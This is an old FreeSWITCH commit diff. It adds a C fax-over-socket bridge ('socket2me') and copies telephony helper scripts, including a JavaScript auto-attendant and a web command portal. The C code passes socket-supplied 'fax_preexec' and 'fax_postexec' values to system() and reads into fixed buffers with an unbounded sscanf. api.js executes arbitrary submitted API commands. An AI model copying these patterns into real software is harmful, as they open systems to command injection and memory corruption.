+static void phase_b_handler(t30_state_t *s, void *user_data, int result)
+{
+    int session;
+    session = (intptr_t) user_data;
+
+    printf("Phase B handler on session %d - (0x%X) %s\n", session, result, t30_frametype(result));
+}     
+
+static void phase_d_handler(t30_state_t *s, void *user_data, int result)
+{
+    int session;
+    char ident[21];
+    t30_stats_t t;
+
+    session = (intptr_t) user_data;
+
+    printf("Phase D handler on session %d - (0x%X) %s\n", session, result, t30_frametype(result));
+    t30_get_transfer_statistics(s, &t);
+    printf( "Phase D: bit rate %d\n", t.bit_rate);
+    printf( "Phase D: ECM %s\n", (t.error_correcting_mode)  ?  "on"  :  "off");
+    printf( "Phase D: pages transferred %d\n", t.pages_transferred);
+    printf( "Phase D: image size %d x %d\n", t.width, t.length);
+    printf( "Phase D: image resolution %d x %d\n", t.x_resolution, t.y_resolution);
+    printf( "Phase D: bad rows %d\n", t.bad_rows);
+    printf( "Phase D: longest bad row run %d\n", t.longest_bad_row_run);
+    printf( "Phase D: compression type %d\n", t.encoding);
+    printf( "Phase D: image size %d\n", t.image_size);
+    t30_get_local_ident(s, ident);
+    printf( "Phase D: local ident '%s'\n", ident);
+    t30_get_far_ident(s, ident);
+    printf( "Phase D: remote ident '%s'\n", ident);
+}
+
+static void phase_e_handler(t30_state_t *s, void *user_data, int result)
+{
+    int session;
+    t30_stats_t t;
+    const char *u;
+    char ident[21];
+    
+    session = (intptr_t) user_data;
+    printf("Phase E handler on session %d - (%d) %s\n", session, result, t30_completion_code_to_str(result));    
+    t30_get_transfer_statistics(s, &t);
+    printf( "Phase E: bit rate %d\n", t.bit_rate);
+    printf( "Phase E: ECM %s\n", (t.error_correcting_mode)  ?  "on"  :  "off");
+    printf( "Phase E: pages transferred %d\n", t.pages_transferred);
+    printf( "Phase E: image size %d x %d\n", t.width, t.length);
+    printf( "Phase E: image resolution %d x %d\n", t.x_resolution, t.y_resolution);
+    printf( "Phase E: bad rows %d\n", t.bad_rows);
+    printf( "Phase E: longest bad row run %d\n", t.longest_bad_row_run);
+    printf( "Phase E: coding method %s\n", t4_encoding_to_str(t.encoding));
+    printf( "Phase E: image size %d bytes\n", t.image_size);
+    t30_get_local_ident(s, ident);
+    printf( "Phase E: local ident '%s'\n", ident);
+    t30_get_far_ident(s, ident);
+    printf( "Phase E: remote ident '%s'\n", ident);
+    if ((u = t30_get_far_country(s)))
+        printf( "Phase E: Remote was made in '%s'\n", u);
+    if ((u = t30_get_far_vendor(s)))
+        printf( "Phase E: Remote was made by '%s'\n", u);
+    if ((u = t30_get_far_model(s)))
+        printf( "Phase E: Remote is model '%s'\n", u);
+}
+
+static int document_handler(t30_state_t *s, void *user_data, int event)
+{
+    int session;
+    
+    session = (intptr_t) user_data;
+    printf("Document handler on session %d - event %d\n", session, event);
+    return FALSE;
+}
+
+void die(char *error_str)
+{
+    perror(error_str);
+    exit(1);
+}
+
+
+static void set_vars(char *data)
+{
+  char *start, *end, *p=malloc(strlen(data)+1);
+  char name[8192],value[8192];
+
+  if(!p) {
+    perror("malloc");
+    exit(1);
+  }
+
+  memcpy(p,data,strlen(data)+1);
+  start=p;
+
+
+  while(start != 0 && *start != '\0') {
+    if(end = strchr(start,'\r')) {
+      *end = '\0';
+      if(*(end + 1) == '\n') {
+	end+=2;
+      } else {
+	end++;
+      }
+    } else {
+      return;
+    }
+
+    sscanf(start,"%s: %s",name,value);
+    setenv(name,value,1);
+    start = end;
+  }
+  free(p);
+}
+
+
+
+static int cheezy_get_var(char *data, char *name, char *buf, size_t buflen)
+{
+  char *p=data;
+
+  /* the old way didnt make sure that variable values were used for the name hunt
+   * and didnt ensure that only a full match of the variable name was used
+   */
+
+  do {
+    if(!strncmp(p,name,strlen(name)) && *(p+strlen(name))==':') break;
+  } while((p = (strstr(p,"\n")+1))!=(char *)1);
+
+
+  if (p != (char *)1 && *p!='\0') {
+    char *v, *e;
+
+    if ((v = strchr(p, ':'))) {
+      v++;
+      while(v && *v == ' ') {
+	v++;
+      }
+      if (v)  {
+	if (!(e = strchr(v, '\r'))) {
+	  e = strchr(v, '\n');
+	}
+      }
+			
+      if (v && e) {
+	int cplen;
+	int len = e - v;
+	
+	if (len > buflen - 1) {
+	  cplen = buflen -1;
+	} else {
+	  cplen = len;
+	}
+	
+	strncpy(buf, v, cplen);
+	*(buf+cplen) = '\0';
+	return 1;
+      }
+      
+    }
+  }
+  return 0;
+}
+
+void client_run(int client_socket, char *local_ip, int local_port, char *remote_ip, int remote_port)
+{
+    char sendbuf[RCVBUFSIZE], recvbuf[RCVBUFSIZE], infobuf[RCVBUFSIZE];
+	struct sockaddr_in addr = {0}, sendaddr = {0};
+    int read_bytes;
+	int usock;
+	int reuse_addr = 1;
+    fax_state_t fax;
+	char tmp[512], fn[512], *file_name = "/tmp/test.tiff";
+	int send_fax = FALSE;
+	int g711 = 0;
+	int pcmu = 0;
+
+	snprintf(sendbuf, sizeof(sendbuf), "connect\n\n");
+	send(client_socket, sendbuf, strlen(sendbuf), 0);
+
+    if ((read_bytes = recv(client_socket, infobuf, sizeof(infobuf), 0)) < 0) {
+        die("recv() failed");
+	}
+
+#if SOCKET2ME_DEBUG
+	printf("READ [%s]\n", infobuf);
+#endif
+
+	if (cheezy_get_var(infobuf, "Channel-Read-Codec-Name", tmp, sizeof(tmp))) {
+		if (!strcasecmp(tmp, "pcmu")) {
+			g711 = 1;
+			pcmu = 1;
+		} else if (!strcasecmp(tmp, "pcma")) {
+			g711 = 1;
+		}
+	}
+
+
+	snprintf(sendbuf, sizeof(sendbuf), "sendmsg\n"
+			 "call-command: unicast\n"
+			 "local-ip: %s\n"
+			 "local-port: %d\n"
+			 "remote-ip: %s\n"
+			 "remote-port: %d\n"
+			 "transport: udp\n"
+			 "%s"
+			 "\n",
+			 local_ip, local_port,
+			 remote_ip, remote_port,
+			 g711 ? "flags: native\n" : ""
+			 );
+
+	
+	if (cheezy_get_var(infobuf, "variable_fax_file_name", fn, sizeof(fn))) {
+		file_name = fn;
+	}
+
+	if (cheezy_get_var(infobuf, "variable_fax_mode", tmp, sizeof(tmp))) {
+		if (!strcasecmp(tmp, "send")) {
+			send_fax = TRUE;
+		}
+	}
+
+	if (cheezy_get_var(infobuf, "variable_fax_preexec", tmp, sizeof(tmp))) {
+	  set_vars(infobuf);
+	  system(tmp);
+	}
+
+#if SOCKET2ME_DEBUG
+	printf("SEND: [%s]\n", sendbuf);
+#endif
+	send(client_socket, sendbuf, strlen(sendbuf), 0);
+
+	memset(recvbuf, 0, sizeof(recvbuf));
+    if ((read_bytes = recv(client_socket, recvbuf, sizeof(recvbuf), 0)) < 0) {
+        die("recv() failed");
+	}
+#if SOCKET2ME_DEBUG
+	printf("READ [%s]\n", recvbuf);
+#endif
+	
+	if ((usock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
+        die("socket() failed");
+	}
+
+	setsockopt(usock, SOL_SOCKET, SO_REUSEADDR, &reuse_addr, sizeof(reuse_addr));
+
+    addr.sin_family = AF_INET;
+    addr.sin_addr.s_addr = htonl(INADDR_ANY);
+    /*addr.sin_addr.s_addr = inet_addr(remote_ip);*/
+    addr.sin_port = htons(remote_port);
+
+    sendaddr.sin_family = AF_INET;
+    sendaddr.sin_addr.s_addr = inet_addr(local_ip);
+    sendaddr.sin_port = htons(local_port);
+	
+    if (bind(usock, (struct sockaddr *) &addr, sizeof(addr)) < 0) {
+        die("bind() failed");
+	}
+
+	printf("%s Fax filename: [%s] from %s:%d -> %s:%d\n", send_fax ? "Sending" : "Receiving", file_name, local_ip, local_port, remote_ip, remote_port);
+	
+    fax_init(&fax, send_fax);
+    t30_set_local_ident(&fax.t30_state, "Socket 2 ME");
+    t30_set_header_info(&fax.t30_state, "Socket 2 ME");
+	if (send_fax) {
+		t30_set_tx_file(&fax.t30_state, file_name, -1, -1);
+	} else {
+		t30_set_rx_file(&fax.t30_state, file_name, -1);
+	}
+    t30_set_phase_b_handler(&fax.t30_state, phase_b_handler, NULL);
+    t30_set_phase_d_handler(&fax.t30_state, phase_d_handler, NULL);
+    t30_set_phase_e_handler(&fax.t30_state, phase_e_handler, NULL);
+    t30_set_document_handler(&fax.t30_state, document_handler, NULL);
+
+    t30_set_ecm_capability(&fax.t30_state, TRUE);
+    t30_set_supported_compressions(&fax.t30_state, T30_SUPPORT_T4_1D_COMPRESSION | T30_SUPPORT_T4_2D_COMPRESSION | T30_SUPPORT_T6_COMPRESSION);
+
+    t30_set_supported_image_sizes(&fax.t30_state, T30_SUPPORT_US_LETTER_LENGTH | T30_SUPPORT_US_LEGAL_LENGTH | T30_SUPPORT_UNLIMITED_LENGTH
+                                  | T30_SUPPORT_215MM_WIDTH | T30_SUPPORT_255MM_WIDTH | T30_SUPPORT_303MM_WIDTH);
+    t30_set_supported_resolutions(&fax.t30_state, T30_SUPPORT_STANDARD_RESOLUTION | T30_SUPPORT_FINE_RESOLUTION | T30_SUPPORT_SUPERFINE_RESOLUTION
+                                  | T30_SUPPORT_R8_RESOLUTION | T30_SUPPORT_R16_RESOLUTION);
+
+	for (;;) {
+		struct sockaddr_in local_addr = {0};
+        size_t cliAddrLen = sizeof(local_addr);
+		unsigned char audiobuf[1024], rawbuf[1024], outbuf[1024];
+		short *usebuf = NULL;
+		int tx, tx_bytes, bigger, sample_count;
+		fd_set ready;
+
+		FD_ZERO(&ready);
+
+		FD_SET(usock, &ready);
+		FD_SET(client_socket, &ready);
+		
+		bigger = usock > client_socket ? usock : client_socket;
+		select(++bigger, &ready, NULL, NULL, NULL);
+		
+		if (FD_ISSET(client_socket, &ready)) {
+			memset(recvbuf, 0, sizeof(recvbuf));
+			if ((read_bytes = recv(client_socket, recvbuf, sizeof(recvbuf), 0)) < 0) {
+				die("recv() failed");
+			}
+
+			if (read_bytes == 0) {
+				break;
+			}
+#if SOCKET2ME_DEBUG
+			printf("READ [%s]\n", recvbuf);
+#endif
+		}
+
+		if (!FD_ISSET(usock, &ready)) {
+			continue;
+		}
+
+        if ((read_bytes = recvfrom(usock, audiobuf, sizeof(audiobuf), 0, (struct sockaddr *) &local_addr, &cliAddrLen)) < 0) {
+			die("recvfrom() failed");
+		}
+
+		if (g711) {
+			int i;
+			short *rp = (short *) rawbuf;
+			
+			for (i = 0; i < read_bytes; i++) {
+				if (pcmu) {
+					rp[i] = ulaw_to_linear(audiobuf[i]);
+				} else {
+					rp[i] = alaw_to_linear(audiobuf[i]);
+				}
+			}
+			usebuf = rp;
+			sample_count = read_bytes;
+		} else {
+			usebuf = (short *) audiobuf;
+			sample_count = read_bytes / 2;
+		}
+		
+		fax_rx(&fax, usebuf, sample_count);
+#if SOCKET2ME_DEBUG
+		printf("Handling client %s:%d %d bytes\n", inet_ntoa(local_addr.sin_addr), ntohs(local_addr.sin_port), read_bytes);
+#endif
+
+		
+		if ((tx = fax_tx(&fax, (short *)outbuf, sample_count)) < 0) {
+            printf("Fax Error\n");
+			break;
+        } else if (!tx) {
+			continue;
+		}
+		
+
+		if (g711) {
+			int i;
+			short *bp = (short *) outbuf;
+			for (i = 0; i < tx; i++) {
+				if (pcmu) {
+					rawbuf[i] = linear_to_ulaw(bp[i]);
+				} else {
+					rawbuf[i] = linear_to_alaw(bp[i]);
+				}
+			}
+			usebuf = (short *) rawbuf;
+			tx_bytes = tx;
+		} else {
+			usebuf = (short *)outbuf;
+			tx_bytes = tx * 2;
+		}	
+		
+
+		cliAddrLen = sizeof(sendaddr);
+        if (sendto(usock, usebuf, tx_bytes, 0, (struct sockaddr *) &sendaddr, sizeof(sendaddr)) != tx_bytes) {
+			die("sendto() sent a different number of bytes than expected");
+		}
+	}
+
+	close(client_socket);
+	close(usock);
+		
+    t30_terminate(&fax.t30_state);
+    fax_release(&fax);
+
+    if (cheezy_get_var(infobuf, "variable_fax_postexec", tmp, sizeof(tmp))) {
+      set_vars(infobuf);
+      system(tmp);
+    }
+	printf("Done\n");
+	snprintf(sendbuf, sizeof(sendbuf), "hangup\n\n");
+	send(client_socket, sendbuf, strlen(sendbuf), 0);
+	
+}
+
+int client_accept(int servSock)
+{
+    int client_sock;                    
+    struct sockaddr_in echoClntAddr; 
+    unsigned int clntLen;            
+
+    clntLen = sizeof(echoClntAddr);
+    
+    if ((client_sock = accept(servSock, (struct sockaddr *) &echoClntAddr, &clntLen)) < 0) {
+		die("accept() failed");
+	}
+    
+    printf("Client Connect: [%s]\n", inet_ntoa(echoClntAddr.sin_addr));
+
+    return client_sock;
+}
+
+int main(int argc, char *argv[]) 
+{
+	int servSock, client_sock;
+	int port = 8084;
+	struct sockaddr_in addr;
+	pid_t pid;
+	unsigned int process_count = 0;
+	int reuse_addr = 1;
+	char *local_ip = NULL;
+	char *remote_ip = NULL;
+	char *signal_port_name = NULL;
+
+	if (argc > 0) {
+		local_ip = argv[1];
+	}
+	if (argc > 1) {
+		remote_ip = argv[2];
+	}
+	if (argc > 2) {
+		signal_port_name = argv[3];
+	}
+
+	if (!local_ip) {
+		local_ip = "127.0.0.1";
+	}
+
+	if (!remote_ip) {
+		remote_ip = "127.0.0.1";
+	}
+
+	if (signal_port_name) {
+		port = atoi(signal_port_name);
+	}
+	
+	if ((servSock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
+		die("Socket Error!\n");
+	}
+	setsockopt(servSock, SOL_SOCKET, SO_REUSEADDR, &reuse_addr, sizeof(reuse_addr));
+			   
+	memset(&addr, 0, sizeof(addr));
+	addr.sin_family = AF_INET;
+    addr.sin_addr.s_addr = htonl(INADDR_ANY);
+    addr.sin_port = htons(port);
+	
+    if (bind(servSock, (struct sockaddr *) &addr, sizeof(addr)) < 0) {
+		die("Bind Error!\n");
+		return -1;
+	}
+
+    if (listen(servSock, MAXPENDING) < 0) {
+		die("Listen error\n");
+		return -1;
+	}
+	for (;;) {
+		int local_port = use_port++;
+		int remote_port = use_port++;
+
+		if (use_port++ >= PORT_MAX) {
+			use_port = PORT_MIN;
+		}
+		
+		client_sock = client_accept(servSock);
+
+		if ((pid = fork()) < 0) {
+			die("fork() failed");
+		} else if (pid == 0) {
+
+			close(servSock);   
+
+			client_run(client_sock, local_ip, local_port, remote_ip, remote_port);
+			exit(0);           
+		}
+
+#if SOCKET2ME_DEBUG
+		printf("with child process: %d\n", (int) pid);
+#endif
+		close(client_sock);       
+		process_count++;      
+
+		while (process_count) {
+			pid = waitpid((pid_t) -1, NULL, WNOHANG);  
+			if (pid < 0) {
+				die("waitpid() failed");
+			} else if (pid == 0) {
+				break;
+			} else {
+				process_count--;  
+			}
+		}
+	}
+}

Deleted: freeswitch/branches/seven/scripts/cdr.sql

Deleted: freeswitch/branches/seven/scripts/combineconf.pl

Deleted: freeswitch/branches/seven/scripts/dtmftest.js

Deleted: freeswitch/branches/seven/scripts/easyroute_mysql.sql

Deleted: freeswitch/branches/seven/scripts/extract_log_range.pl

Modified: freeswitch/branches/seven/scripts/freeswitch-gcore (14471 => 14472)


--- freeswitch/branches/seven/scripts/freeswitch-gcore	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/scripts/freeswitch-gcore	2009-08-09 18:53:22 UTC (rev 14472)
@@ -9,4 +9,4 @@
 	--eval-command='thread apply all bt' \
 	--eval-command='thread apply all bt full' \
 	--eval-command='quit'
-rm /usr/local/freeswitch/log/freeswitch.gcore.$fspid
+#rm /usr/local/freeswitch/log/freeswitch.gcore.$fspid

Copied: freeswitch/branches/seven/scripts/freeswitch.pkg_deps.sh (from rev 14471, freeswitch/trunk/scripts/freeswitch.pkg_deps.sh) (0 => 14472)


--- freeswitch/branches/seven/scripts/freeswitch.pkg_deps.sh	                        (rev 0)
+++ freeswitch/branches/seven/scripts/freeswitch.pkg_deps.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,22 @@
+#!/bin/sh
+
+wget -c http://svn.freeswitch.org/downloads/libs/celt-0.6.1.tar.gz
+wget -c http://svn.freeswitch.org/downloads/libs/flite-1.3.99-latest.tar.gz
+wget -c http://svn.freeswitch.org/downloads/libs/lame-3.97.tar.gz
+wget -c http://svn.freeswitch.org/downloads/libs/libshout-2.2.2.tar.gz
+wget -c http://svn.freeswitch.org/downloads/libs/mpg123.tar.gz
+wget -c http://svn.freeswitch.org/downloads/libs/openldap-2.4.11.tar.gz
+wget -c http://svn.freeswitch.org/downloads/libs/pocketsphinx-0.5.99-latest.tar.gz
+wget -c http://svn.freeswitch.org/downloads/libs/soundtouch-1.3.1.tar.gz
+wget -c http://svn.freeswitch.org/downloads/libs/sphinxbase-0.4.99-latest.tar.gz
+wget -c http://files.freeswitch.org/freeswitch-sounds-music-8000-1.0.8.tar.gz
+wget -c http://files.freeswitch.org/freeswitch-sounds-music-16000-1.0.8.tar.gz
+wget -c http://files.freeswitch.org/freeswitch-sounds-music-32000-1.0.8.tar.gz
+wget -c http://files.freeswitch.org/freeswitch-sounds-music-48000-1.0.8.tar.gz
+wget -c http://files.freeswitch.org/freeswitch-sounds-en-us-callie-8000-1.0.11.tar.gz
+wget -c http://files.freeswitch.org/freeswitch-sounds-en-us-callie-16000-1.0.11.tar.gz
+wget -c http://files.freeswitch.org/freeswitch-sounds-en-us-callie-32000-1.0.11.tar.gz
+wget -c http://files.freeswitch.org/freeswitch-sounds-en-us-callie-48000-1.0.11.tar.gz
+wget -c http://svn.freeswitch.org/downloads/libs/communicator_semi_6000_20080321.tar.gz
+
+

Modified: freeswitch/branches/seven/scripts/gentls_cert.in (14471 => 14472)


--- freeswitch/branches/seven/scripts/gentls_cert.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/scripts/gentls_cert.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -155,6 +155,10 @@
 			shift
 			OUTFILE="$1"
 			;;
+		-days)
+			shift
+			DAYS="$1"
+			;;
 	esac
 	shift
 done
@@ -197,6 +201,7 @@
 		   -alt      Set alternative name (use prefix 'DNS:' or 'URI:')
 		   -org      Set organization name
 		   -out      Filename for new certificate (create only)
+		   -days     Certificate expires in X days (default: 365)
 
 		EOF
 		exit 1

Copied: freeswitch/branches/seven/scripts/javascript (from rev 14471, freeswitch/trunk/scripts/javascript)

Copied: freeswitch/branches/seven/scripts/javascript/aadir (from rev 14471, freeswitch/trunk/scripts/javascript/aadir)

Deleted: freeswitch/branches/seven/scripts/javascript/aadir/README

Copied: freeswitch/branches/seven/scripts/javascript/aadir/README (from rev 14471, freeswitch/trunk/scripts/javascript/aadir/README) (0 => 14472)


--- freeswitch/branches/seven/scripts/javascript/aadir/README	                        (rev 0)
+++ freeswitch/branches/seven/scripts/javascript/aadir/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,6 @@
+This directory contains a javascript auto attendant which queries
+FreeSWITCH for name / extension information rather than using
+hardcoded values.  It requires a wave file which says:
+
+  Please spell the name of the person using your telephone keypad
+  last name first.  Press 1 for Q or Z.

Deleted: freeswitch/branches/seven/scripts/javascript/aadir/aadir.js

Copied: freeswitch/branches/seven/scripts/javascript/aadir/aadir.js (from rev 14471, freeswitch/trunk/scripts/javascript/aadir/aadir.js) (0 => 14472)


--- freeswitch/branches/seven/scripts/javascript/aadir/aadir.js	                        (rev 0)
+++ freeswitch/branches/seven/scripts/javascript/aadir/aadir.js	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,242 @@
+/*
+ *  File:    aadir.js
+ *  Purpose: Auto Attendant directory.
+ *  Machine:                      OS:
+ *  Author:  John Wehle           Date: November 6, 2008
+ *
+ *  Copyright (c)  2008  Feith Systems and Software, Inc.
+ *                      All Rights Reserved
+ */
+
+
+var digitTimeOut = 3000;
+var interDigitTimeOut = 1000;
+var absoluteTimeOut = 10000;
+
+
+var base_dir = session.getVariable ("base_dir");
+var domain = session.getVariable ("domain");
+var voicemail_path = base_dir + "/storage/voicemail/default/" + domain + "/";
+
+var file_exts = [ ".wav", ".mp3" ];
+
+var extRE = /^1[0-9][0-9][0-9]$/g;
+var operator = "operator";
+
+var directory;
+var directory_camelcase;
+
+var translations = [ "0",
+                     "QZ", "ABC", "DEF",
+                     "GHI", "JKL", "MNO",
+                     "PQRS", "TUV", "WXYZ" ];
+
+var extension = "";
+var dtmf_digits = "";
+
+
+function load_directory ()
+  {
+  var i;
+  var name;
+  var number;
+
+  var dir = apiExecute ("xml_locate", "directory domain name " + domain);
+  var re = /\s+$/g;
+  var length = dir.search (re);
+
+  if (length == -1)
+    length = dir.length;
+
+  dir = dir.substring (0, length);
+
+  var xdir = new XML (dir);
+
+  directory = new Array ();
+  i = 0;
+
+  re = /[^A-Z0-9\s]/gi;
+
+  for each (var variables in xdir.groups.group.users.user.variables) {
+    name = "";
+    number = "";
+
+    for each (variable in variables.variable) {
+      if (variable.@name.toString() == "effective_caller_id_name")
+        name = variable.@value.toString();
+      if (variable.@name.toString() == "effective_caller_id_number")
+        number = variable.@value.toString();
+      }
+
+    if (name.length == 0 || number.length == 0 || number.search (extRE) == -1)
+      continue;
+
+    directory[i] = new Array (2);
+    directory[i][0] = name.replace (re, "");
+    directory[i][1] = number;
+
+    i++;
+    }
+  }
+
+
+function build_camelcase_directory ()
+  {
+  var i;
+  var fname;
+  var lname;
+  var fre = /^[A-Z0-9]+/gi;
+  var lre = /[A-Z0-9]+$/gi;
+
+  directory_camelcase = new Array (directory.length);
+
+  for (i = 0; i < directory.length; i++) {
+    directory_camelcase[i] = new Array (2);
+
+    directory_camelcase[i][0] = "";
+    directory_camelcase[i][1] = 0;
+
+    fname = directory[i][0].match (fre);
+    lname = directory[i][0].match (lre);
+    if (fname.length != 1 || lname.length != 1) {
+      console_log ("err", "Can't parse " + directory[i][0] + " for directory\n");
+      continue;
+      }
+
+    directory_camelcase[i][0] = lname[0] + fname[0];
+    directory_camelcase[i][1] = directory[i][1];
+    }
+  }
+
+
+function directory_lookup (digits)
+  {
+  var i;
+  var match = "";
+  var pattern = "^";
+  var re;
+
+  if (digits.length && digits[0] == 0)
+    return 0;
+
+  for (i = 0; i < digits.length; i++) {
+    if (isNaN (parseInt (digits[i], 10)))
+      return -1;
+    pattern += "[" + translations[parseInt (digits[i], 10)] + "]";
+    }
+
+  re = new RegExp (pattern, "i");
+
+  for (i = 0; i < directory_camelcase.length; i++)
+    if (directory_camelcase[i][0].search (re) != -1) {
+      if (! isNaN (parseInt (match, 10)))
+        return "";
+      match = directory_camelcase[i][1];
+      }
+
+  if (isNaN (parseInt (match, 10)))
+    return -1;
+
+  return match;
+  }
+
+
+function on_dtmf (session, type, obj, arg)
+  {
+
+  if (type == "dtmf") {
+    dtmf_digits += obj.digit;
+    extension = directory_lookup (dtmf_digits)
+    return false;
+    }
+
+  return true;
+  }
+
+
+function directory_prompt ()
+  {
+  var choice;
+  var index;
+  var repeat;
+  
+  extension = "";
+  choice = "";
+  repeat = 0;
+
+  while (session.ready () && repeat < 3) {
+  
+    /* play phrase - if digit keyed while playing callback will catch them*/
+    session.sayPhrase ("feith_aa_directory", "#", "", on_dtmf, "");
+
+    choice = dtmf_digits;
+
+    while ( isNaN (parseInt (extension, 10)) ) {
+      if (! session.ready ())
+        return "";
+
+      dtmf_digits = session.getDigits (1, '#', digitTimeOut,
+                                       interDigitTimeOut, absoluteTimeOut);
+      choice += dtmf_digits;
+
+      extension = directory_lookup (choice);
+      }
+
+    if (parseInt (extension, 10) >= 0)
+      break;
+
+    session.sayPhrase ("voicemail_invalid_extension", "#", "", on_dtmf, "");
+
+    dtmf_digits = "";
+    extension = "";
+    choice = "";
+    repeat++;
+
+    session.flushDigits ();
+    }
+
+  return extension;
+  }
+
+
+var choice = "";
+var fd;
+var i;
+var recorded_name;
+
+session.answer ();
+
+session.execute("sleep", "1000");
+
+load_directory ();
+
+build_camelcase_directory ();
+
+dtmf_digits = "";
+session.flushDigits ();
+choice = directory_prompt ();
+
+if (! session.ready ()) {
+  session.hangup();
+  exit();
+  }
+
+if ( isNaN (parseInt (choice, 10)) || parseInt (choice, 10) <= 0) {
+  session.execute ("transfer", operator + " XML default");
+  exit();
+  }
+
+for (i = 0; i < file_exts.length; i++) {
+  recorded_name = voicemail_path + choice + "/recorded_name" + file_exts[i];
+  fd = new File (recorded_name);
+  if (fd.exists) {
+    session.streamFile (recorded_name);
+    break;
+    }
+  }
+
+session.execute ("phrase", "spell," + choice);
+
+session.execute ("transfer", choice + " XML default");
+
+exit();

Deleted: freeswitch/branches/seven/scripts/javascript/api.js

Copied: freeswitch/branches/seven/scripts/javascript/api.js (from rev 14471, freeswitch/trunk/scripts/javascript/api.js) (0 => 14472)


--- freeswitch/branches/seven/scripts/javascript/api.js	                        (rev 0)
+++ freeswitch/branches/seven/scripts/javascript/api.js	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,66 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthmct@yahoo.com>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Anthony Minessale II <anthmct@yahoo.com>
+ *
+ *
+ * api.js Demo javascript FSAPI Interface
+ *
+ * To use this script:
+ * 1) Put it in $prefix/scripts. (eg /usr/local/freeswitch/scripts)
+ * 2) Load mod_xml_rpc and point a browser to your FreeSWITCH machine.
+ *    http://your.freeswitch.box:8080/api/jsapi?api.js
+ */
+
+/* Other possible js commands */
+//env = request.dumpENV("text");
+//xmlenv = new XML(request.dumpENV("xml"));
+//request.addHeader("js-text", "You were in a javascript script");
+
+
+if (session) {
+	request.write("Don't call me from the dialplan silly! I'm a web interface today.\n");
+	consoleLog("err", "Invalid usage!\n");
+	exit();
+}
+
+request.write("Content-Type: text/html\n\n");
+request.write("<title>FreeSWITCH Command Portal</title>");
+request.write("<h2>FreeSWITCH Command Portal</h2>");
+request.write("<form method=post><input name=command size=40> ");
+request.write("<input type=submit value=\"Execute\">");
+request.write("</form><hr noshade size=1><br>");
+
+if ((command = request.getHeader("command"))) {
+	cmd_list = command.split(" ");
+    cmd = cmd_list.shift();
+    args = cmd_list.join(" ");
+
+	if ((reply = apiExecute(cmd, args))) {
+		request.write("<br><B>Command Result</b><br><pre>" + reply + "\n</pre>");
+	}
+}
+
+

Deleted: freeswitch/branches/seven/scripts/javascript/dtmftest.js

Copied: freeswitch/branches/seven/scripts/javascript/dtmftest.js (from rev 14471, freeswitch/trunk/scripts/javascript/dtmftest.js) (0 => 14472)


--- freeswitch/branches/seven/scripts/javascript/dtmftest.js	                        (rev 0)
+++ freeswitch/branches/seven/scripts/javascript/dtmftest.js	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,21 @@
+function onPlayFile(s, type, obj, arg)
+  {
+    try {
+      if (type == "dtmf") {
+	console_log("info", "DTMF digit: " + s.name + " [" + obj.digit + "] len [" + obj.duration + "]\n\n");
+	session.execute("phrase", "spell," + obj.digit);
+      }
+
+    }  catch (e) {
+      console_log("err", e + "\n");
+    }
+
+    return true;
+
+  }
+
+session.answer();
+
+while(session.ready()) {
+  session.streamFile(argv[0], onPlayFile);
+}

Copied: freeswitch/branches/seven/scripts/javascript/js_modules (from rev 14471, freeswitch/trunk/scripts/javascript/js_modules)

Deleted: freeswitch/branches/seven/scripts/javascript/js_modules/SpeechTools.jm

Copied: freeswitch/branches/seven/scripts/javascript/js_modules/SpeechTools.jm (from rev 14471, freeswitch/trunk/scripts/javascript/js_modules/SpeechTools.jm) (0 => 14472)


--- freeswitch/branches/seven/scripts/javascript/js_modules/SpeechTools.jm	                        (rev 0)
+++ freeswitch/branches/seven/scripts/javascript/js_modules/SpeechTools.jm	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,483 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthmct@yahoo.com>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Anthony Minessale II <anthmct@yahoo.com>
+ *
+ *
+ * SpeechTools.jm Speech Detection Interface
+ *
+ */
+
+/* Constructor for Grammar Class (Class to identify a grammar entity) */
+function Grammar(grammar_name, path, obj_path, min_score, confirm_score, halt) {
+	this.grammar_name = grammar_name;
+	this.path = path;
+	this.min_score = min_score;
+	this.confirm_score = confirm_score;
+	this.halt = halt;
+	this.obj_path = obj_path;
+
+	if (!this.min_score) {
+		this.min_score = 1;
+	}
+
+	if (!this.confirm_score) {
+		this.confirm_score = 400;
+	}
+}
+
